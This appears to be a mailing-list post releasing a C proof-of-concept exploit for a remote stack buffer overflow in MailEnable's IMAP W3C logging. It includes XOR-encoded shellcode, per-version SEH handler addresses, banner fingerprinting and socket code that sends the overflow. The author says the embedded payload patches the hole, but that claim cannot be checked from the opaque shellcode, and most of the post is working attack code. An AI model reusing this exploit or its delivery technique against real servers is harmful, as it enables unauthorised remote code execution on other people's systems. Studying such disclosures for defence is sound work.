<<< Date Index >>>     <<< Thread Index >>>

MailEnable W3C Logging Remote Buffer Overflow Proof of Concept



Attached is a proof of concept for the MailEnable W3C Logging
vulnerability. It features a special type of patching shellcode designed
to quickly and easily secure this vulnerability across your network.

I am releasing this in hopes that other POC writers will follow suit,
releasing exploits that patch the vulnerability rather then exploit it for
a malicious purpose. The reason this is being done is to support the admin
rather then to support the hacker.
/*
MailEnable W3C Logging Remote Buffer Overflow Proof of Concept

This is a pretty standard stack overflow with a SE handler overwrite.
The buffer used provides quite a bit of room for shellcode, so I've decided
to construct a shellcode that as far as I know hasn't been made. The 
shellcode provided will transport a 1008 byte win32 PE executable file. The 
shellcode
will then save it to disk, run the executable, and close the server. The 
executable will serve as a small patching tool, which will download the
patch provided by mailenable.com,unzip it, restart the service, and copy 
the patched exe. This shellcode will eliminate the very hole it used to gain
access. The old server executable will not be deleted, merely renamed to 
_MEIMAPS.exe. 

For those paranoid individuals who cannot read C code, YOUR-Address can be
anything as long as the length is the same as the real IP. If your IP is 
192.168.0.1, then 111.222.3.4 will work fine. We're only using it to 
calculate the length of the buffer for stack alignment. As you can see,
there is no call home code here :)

If you have any questions about this exploit, or how you may use it on 
your network to quickly patch your Mail Enable installations, please feel free 
to e-mail us
at advisory@xxxxxxxxxxx
*/

#include <stdio.h>
#include <string.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

long gimmeip(char *hostname);
void makeSpaceTaker(char *buff, int len);
char buffer[7300];
//Simple XOR'd 2-stage shellcode
//Some parts of this shellcode were taken from vlad902's toolset.
//Saves omg.exe to disk and runs.
char patchshell[]=
"\xEB\x17\x31\xC0\x66\xB8\x02\x05\x8B\x34"
"\x24\x66\x81\x36\x1E\x17\x83\xC6\x02\x83"
"\xE8\x02\x75\xF3\xC3\xE8\xE4\xFF\xFF\xFF"
"\xE2\xFF\xFB\x17\x1E\x17\x48\x9C\x5B\x2B"
"\x95\x6B\x1B\x6F\x1F\xF8\x95\x58\x06\x9C"
"\x41\x37\x1F\xFC\xFD\x39\x57\x9C\x2A\x9C"
"\x1F\xF9\x2F\xD7\x87\xBB\x9A\xD7\x6A\x10"
"\xDF\xDD\x13\x16\xDC\xFC\xEA\x2C\x4A\x33"
"\x16\x62\xFD\x9C\x41\x33\x1F\xFC\x78\x9C"
"\x12\x5C\x95\x48\x02\x16\xF5\x9C\x02\x9C"
"\x1F\xFC\x40\xD4\x76\x61\x73\xA7\x5B\xE8"
"\xC8\x43\x41\x41\x76\x17\x1F\x17\x1E\x40"
"\x76\x17\x1E\x17\x1E\xE8\xCD\x49\x1F\xF7"
"\x56\x97\x26\x4B\x6B\xED\xD8\x17\x1E\x7F"
"\x51\x14\xD9\xA8\xE1\xC1\x44\x43\xE1\xC4"
"\x76\xB2\x09\x17\x62\xE8\xC8\x7F\x7B\x6F"
"\x7B\x17\x76\x78\x73\x70\x30\x9E\xFF\x41"
"\x74\x17\x74\x17\x74\x13\x74\x17\x74\x17"
"\x74\x15\x4F\xE8\xCD\x49\x4E\x7F\x01\x6E"
"\x14\xFF\xE1\xC1\x46\x4F\x48\x47\x74\x17"
"\xF5\x4B\x44\x45\x76\xE7\x1D\x17\x1E\x96"
"\xDC\x13\x1E\x17\x1E\x45\x4E\xE8\xCD\x7F"
"\xE5\x80\xE3\x18\xE1\xC1\x46\x4F\x48\x47"
"\xE1\xC4\x40\x7F\x60\xCF\xFC\x64\xE1\xC1"
"\x97\x0B\x3A\x7F\x86\xE9\x94\x19\xE1\xC1"
"\x47\x9E\xFF\x96\xDF\x1F\x1E\x17\x1E\x7D"
"\x1E\x46\xE1\xC4\xDD\x26\xE8\x73\x95\x61"
"\x06\xBA\xB3\x9C\x76\xF3\x53\x71\x2F\xFA"
"\x78\x96\x63\x17\x53\x4D\x6B\xE3\x40\xFE"
"\x5C\xE8\xE1\xE8\xF6\x88\xE1\xE8\xE1\x56"
"\x5C\x54\x5A\x5A\x44\x87\x1E\x14\x1E\x17"
"\x1E\x13\x1E\x17\x1E\xE8\xE1\x17\x1E\xAF"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x57\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x97\x1E\x17\x1E\x19\x01\xAD"
"\x10\x17\xAA\x1E\xD3\x36\xA6\x16\x52\xDA"
"\x3F\x43\x76\x7E\x6D\x37\x6E\x65\x71\x70"
"\x6C\x76\x73\x37\x7D\x76\x70\x79\x71\x63"
"\x3E\x75\x7B\x37\x6C\x62\x70\x37\x77\x79"
"\x3E\x53\x51\x44\x3E\x7A\x71\x73\x7B\x39"
"\x13\x1A\x14\x33\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x47\x5B\x17\x1E\x5B\x1F\x16\x1E\xCF"
"\x35\x2D\x5D\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xF7\x1E\x18\x1F\x1C\x1F\x15\x2C\x47"
"\x1C\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x57\x1C\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x57\x1E\x07\x1E\x17"
"\x1E\x07\x1E\x17\x1E\x13\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x13\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xE7\x1D\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x14\x1E\x17\x1E\x17\x1E\x07"
"\x1E\x17\x0E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x0E\x17\x1E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x0F"
"\x1D\x17\x1E\x3F\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x77\x1D\x17"
"\x1E\x37\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x39"
"\x6A\x72\x66\x63\x1E\x17\x1E\x5F\x1C\x17"
"\x1E\xB7\x1F\x17\x1E\x47\x1C\x17\x1E\xB7"
"\x1F\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x37\x1E\x17\xFE\x7F"
"\x6A\x63\x6E\x2D\x31\x38\x69\x60\x69\x39"
"\x73\x76\x77\x7B\x7B\x79\x7F\x75\x72\x72"
"\x30\x74\x71\x7A\x31\x7F\x71\x63\x78\x7E"
"\x66\x38\x53\x52\x57\x5A\x5F\x47\x4D\x3A"
"\x4B\x47\x5A\x27\x2B\x26\x2E\x27\x2D\x27"
"\x2E\x27\x2E\x39\x64\x7E\x6E\x17\x78\x63"
"\x6E\x2D\x31\x38\x78\x63\x6E\x39\x6A\x7F"
"\x33\x64\x71\x71\x6A\x39\x7D\x78\x73\x38"
"\x4B\x59\x44\x5E\x4E\x39\x5B\x4F\x5B\x17"
"\x4B\x45\x52\x53\x71\x60\x70\x7B\x71\x76"
"\x7A\x43\x71\x51\x77\x7B\x7B\x56\x1E\x48"
"\x53\x52\x57\x5A\x5F\x47\x4D\x39\x5B\x4F"
"\x5B\x17\x70\x72\x6A\x37\x6D\x63\x7F\x65"
"\x6A\x37\x53\x52\x57\x5A\x5F\x47\x4D\x17"
"\x4B\x65\x72\x7A\x71\x79\x30\x73\x72\x7B"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x7F"
"\x0E\x30\x1E\x17\xF6\xB5\x1E\x17\x1E\x7F"
"\x33\x15\x5E\x17\xF6\x89\x1E\x17\x1E\xB4"
"\x26\x15\x5E\x17\x76\xEC\x1F\x57\x1E\xE8"
"\x2B\x2F\x1C\x57\x1E\xFF\x91\x17\x1E\x17"
"\xBD\x2B\x1C\x57\x1E\x7D\x1E\x7D\x1E\x7F"
"\xEF\x16\x5E\x17\x76\xCC\x1F\x57\x1E\x7D"
"\x1E\xE8\x0B\x2B\x1C\x57\x1E\x7D\x1E\x7D"
"\x1E\x7F\xCF\x16\x5E\x17\x76\xB7\x1F\x57"
"\x1E\x7D\x1E\xE8\x0B\x2B\x1C\x57\x1E\x7F"
"\x10\x15\x5E\x17\x76\x18\x1C\x57\x1E\xFF"
"\x4B\x17\x1E\x17\x76\xE6\x1F\x57\x1E\x7F"
"\xDA\x16\x5E\x17\xF6\x5B\x1E\x17\x1E\xD0"
"\x1B\xDA\x1F\x57\x1E\x37\x33\x78\x3E\x7D"
"\x1E\x7F\xDA\x16\x5E\x17\xF6\x2B\x1E\x17"
"\x1E\x7F\x0E\x30\x1E\x17\xF6\x03\x1E\x17"
"\x1E\x7D\x1E\x7F\x05\x15\x5E\x17\xF6\x31"
"\x1E\x17\x1E\x7D\x1E\xFF\x3B\x17\x1E\x17"
"\xD2\xE8\x3B\x77\x1D\x57\x1E\xE8\x3B\x73"
"\x1D\x57\x1E\xE8\x3B\x7F\x1D\x57\x1E\xE8"
"\x3B\x7B\x1D\x57\x1E\xE8\x3B\x67\x1D\x57"
"\x1E\xE8\x3B\x63\x1D\x57\x1E\xE8\x3B\x6F"
"\x1D\x57\x1E\xDB\xD2\x57\x1D\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\xCD\x1D\x17"
"\x1E\x77\x1D\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x97\x1D\x17\x1E\x9F"
"\x1D\x17\x1E\x8F\x1D\x17\x1E\xBD\x1D\x17"
"\x1E\xA1\x1D\x17\x1E\xD5\x1D\x17\x1E\xDB"
"\x1D\x17\x1E\x17\x1E\x17\x1E\x97\x1D\x17"
"\x1E\x9F\x1D\x17\x1E\x8F\x1D\x17\x1E\xBD"
"\x1D\x17\x1E\xA1\x1D\x17\x1E\xD5\x1D\x17"
"\x1E\xDB\x1D\x17\x1E\x17\x1E\x17\x1E\x64"
"\x1C\x44\x72\x72\x7B\x67\x1E\xBE\x1F\x5B"
"\x71\x76\x7A\x5B\x77\x75\x6C\x76\x6C\x6E"
"\x5F\x17\x1E\x3E\x1F\x50\x7B\x63\x4E\x65"
"\x71\x74\x5F\x73\x7A\x65\x7B\x64\x6D\x17"
"\x1E\xD3\x1F\x5A\x71\x61\x7B\x51\x77\x7B"
"\x7B\x56\x1E\xCB\x1C\x7B\x6D\x63\x6C\x74"
"\x6E\x6E\x5F\x17\x1E\xBA\x1C\x40\x77\x79"
"\x5B\x6F\x7B\x74\x1E\x62\x1E\x52\x66\x7E"
"\x6A\x47\x6C\x78\x7D\x72\x6D\x64\x1E\x5C"
"\x5B\x45\x50\x52\x52\x24\x2C\x39\x7A\x7B"
"\x72\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E";

int main(int argc,char *argv[])
{     
                WSADATA wsaData;
                struct sockaddr_in targetTCP, checkTCP;
                int sockTCP;
                double version=0; //1.6 is latest, diff offset
                unsigned short port = 143,bport=80;
                long ip;
                int size=3556;
                char checkBuf[512];
                if(argc < 3)
                {
                        printf("MailEnable Remote Stack Overflow.\n"
                                "Usage: %s [YOUR-Address] [Target-address] 
<server_port>\n"
                                " eg: mailenable.exe 65.21.86.48 216.256.0.1\n"
                                "It Is IMPORTANT that YOUR-Address section is 
the Address the remote server is going to see (your public IP).\n"
                                "If you are unsure of what your public IP is 
you can try www.whatismyip.com.\n",argv[0]);
                        return 1;                       
                }               
                if(argc==4)
                        port = atoi(argv[3]);
                WSAStartup(0x0202, &wsaData);                           
                printf("[*] Target:\t%s \tPort: %d\n",argv[2],port);
                ip=gimmeip(argv[2]);    
                targetTCP.sin_family = AF_INET;
                targetTCP.sin_addr.s_addr = ip;
                targetTCP.sin_port = htons(port);
        
                //check SMTP port version
                checkTCP.sin_family = AF_INET;
                checkTCP.sin_addr.s_addr = ip;
                checkTCP.sin_port = htons(25);
                printf("[*] Checking SMTP version..\n");
                if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                {
                        printf("[x] Socket not initialized! Exiting...\n");
                        WSACleanup();
               return 1;
                }
                if(connect(sockTCP,(struct sockaddr *)&checkTCP, 
sizeof(checkTCP)) != 0)
                {
                        printf("[*] Couldn't connect to SMTP to check version, 
assuming 1.54...\n");
                        version = 1.6;
                }
                else
                {
                        if(recv(sockTCP,checkBuf,sizeof(checkBuf),0))
                        {
                                //first check if it's mailenable
                                if(strstr(checkBuf,"MailEnable"))
                                { //it is, get version
                                        if(strstr(checkBuf,"1.54"))
                                        {
                                                printf("[*] Version 1.54 
detected..\n");
                                                version = 1.54;
                                        }
                                        if(strstr(checkBuf,"1.6"))
                                        {
                                                printf("[*] Version 1.6 
detected..\n");
                                                version = 1.6;
                                        }
                                        if(strstr(checkBuf,"1.04") 
||strstr(checkBuf,"1.52")||strstr(checkBuf,"1.53") || strstr(checkBuf,"1.51"))
                                        {
                                                        printf("[*] Version 
<1.54 detected..\n");
                                                        version = 1.04;
                                        }
                                        if(version==0)
                                        {
                                                printf("[*] Version could not 
be determined. assuming 1.6\n");
                                                version=1.6;
                                        }
                                }
                                else
                                {
                                        printf("[*] Erroneous banner recieved, 
assuming Version 1.6..\n");
                                        version = 1.6;
                                }
                        }
                        else
                        {
                                printf("[*] Couldn't connect to SMTP to check 
version, assuming 1.6...\n");
                                version = 1.6;
                        }
                }
                //form buffer here
                memset(buffer,'\0',7300);
                strcpy(buffer,"a01 SELECT ");
                size += (30-(strlen(argv[1])*2)); //IP length sizing
                size += sizeof(patchshell)-1;
                //fill buffer
                makeSpaceTaker(buffer,size);
                strcat(buffer,patchshell);
                strcat(buffer,"\xeb\x06\xeb\x06"); //SE chain.. JMP over 
                if(version == 1.54)
                {
                        strcat(buffer,"\x97\x6b\x01\x10"); //SE handler pop pop 
retn
                        strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more 
jumping
                        strcat(buffer,"\x97\x6b\x01\x10"); //SE handler pop pop 
retn
                } 
                if(version == 1.6)
                {
                        strcat(buffer,"\x77\x7A\x01\x10"); //SE handler pop pop 
retn
                        strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more 
jumping
                        strcat(buffer,"\x77\x7A\x01\x10"); //SE handler pop pop 
retn
                }
                if(version == 1.04)
                {
                        strcat(buffer,"\x27\x74\x01\x10"); //SE handler pop pop 
retn
                        strcat(buffer,"\x90\x90\x90\xeb\x06\xeb"); //more 
jumping
                        strcat(buffer,"\x27\x74\x01\x10"); //SE handler pop pop 
retn
                }
                strcat(buffer,"\x90\x90\x90\xE8\xC7\xFA\xFF\xFF"); //call 
backwards
                makeSpaceTaker(buffer+strlen(buffer),640);
                strcat(buffer,"\r\n");
                //connect and overflow          
                if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                {
                                printf("[x] Socket not initialized! 
Exiting...\n");
                                WSACleanup();
                return 1;
                }
                printf("[*] Socket initialized...\n");                          
        
                if(connect(sockTCP,(struct sockaddr *)&targetTCP, 
sizeof(targetTCP)) != 0)
                {
                        printf("[*] Connection to host failed! Exiting...\n");
                        WSACleanup();
                        exit(1);
                } 
                printf("[*] Sending  buffer.\n");
                if(send(sockTCP,"a01 LOGIN patching mailserv\r\n",29,0) == -1)
                {
                                printf("[x] Failed to inject packet! 
Exiting...\n");
                                WSACleanup();
                return 1;
                }               
                Sleep(1000);
                if (send(sockTCP, buffer, strlen(buffer),0) == -1)
                {
                                printf("[x] Failed to inject packet! 
Exiting...\n");
                                WSACleanup();
                return 1;
                }               
                Sleep(500);
                closesocket(sockTCP);
                printf("[*] Payload sent. If vulnerable, the box should now be 
patched.\n");
                WSACleanup();
                return 0;
}

//Simple ip/hostname resolver taken from some random website
long gimmeip(char *hostname) 
{
        struct hostent *he;
        long ipaddr;
        
        if ((ipaddr = inet_addr(hostname)) < 0) 
        {
                if ((he = gethostbyname(hostname)) == NULL) 
                {
                        printf("[x] Failed to resolve host: %s! 
Exiting...\n\n",hostname);
                        WSACleanup();
                        exit(1);
                }
                memcpy(&ipaddr, he->h_addr, he->h_length);
        }       
        return ipaddr;
}
//More interesting then memset :)
void makeSpaceTaker(char *buffer,int len)
{
        char 
fake[]="Patching_MailEnable_W3C_Logging_Buffer_Overflow_Vulnerability_";
        int cnt=0; //cnt amt written
        while(cnt <= len)
        {
                strcat(buffer,fake); //I know, but it's a big buffer
                cnt += strlen(fake);
        }
        memset(buffer+len+1,'\0',strlen(fake)); //null end and correct size
        
}